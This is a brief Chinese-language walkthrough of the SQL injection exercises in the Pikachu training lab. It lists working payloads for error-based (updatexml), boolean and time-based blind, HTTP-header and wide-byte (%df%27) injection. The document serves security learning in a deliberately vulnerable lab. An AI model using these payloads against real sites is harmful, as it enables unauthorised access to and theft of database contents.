pikachu-sql注入

sql注入数字型post

bp抓包后修改下提交的数据即可

字符型注入

输入

' 1 = 1#

搜索型

既然提示输入用户名的一部分猜想，使用的是sql中的like来进行匹配,这样使用%闭合即可

 

xx型注入

输入单引号返回提示

所以闭合就是 '),接着遍历

 

insert/update注入

既然是插入语句，所以插入的内容一定是变量,所以我们直接闭合

ma' or updatexml(1,concat(0x7e,database()),0) or '

 

随便注册之后登录

修改个人信息

既然是修改一定是使用update语句，所以我们构造一下闭合就行,输入的语句同上面一样

ma' or updatexml(1,concat(0x7e,database()),0) or '

 delete

删除一个数据然后抓包看看

语句

id=68+or+updatexml(1,concat(0x7e,database()),0)

Http header注入

后台开发人员为了验证客户端头信息，比如常用的cookie验证，或者通过http请求头信息获取客户端的一些信息，比如useragent、accept字段等等，会对客户端的http请求头信息获取并使用sql进行处理，如果此时没有足够的安全考虑，则可能会导致基于http头的sql注入漏洞,进入之后抓包

传个单引号

发现有错误提示,那就继续使用上面的语句

盲注

输入了很多测试发现前面只有是用户名的时候才能返回信息

 输入or不行这里只能输入and

所以盲找下数据库首字母的ascii

kobe' and ascii(substr(database(),1,1))=112#

 

 

盲注(base on time)

kobe’ and sleep(5)#

 

宽字节注入

在后台单引号会被转义

kobe%df%27 or 1=1#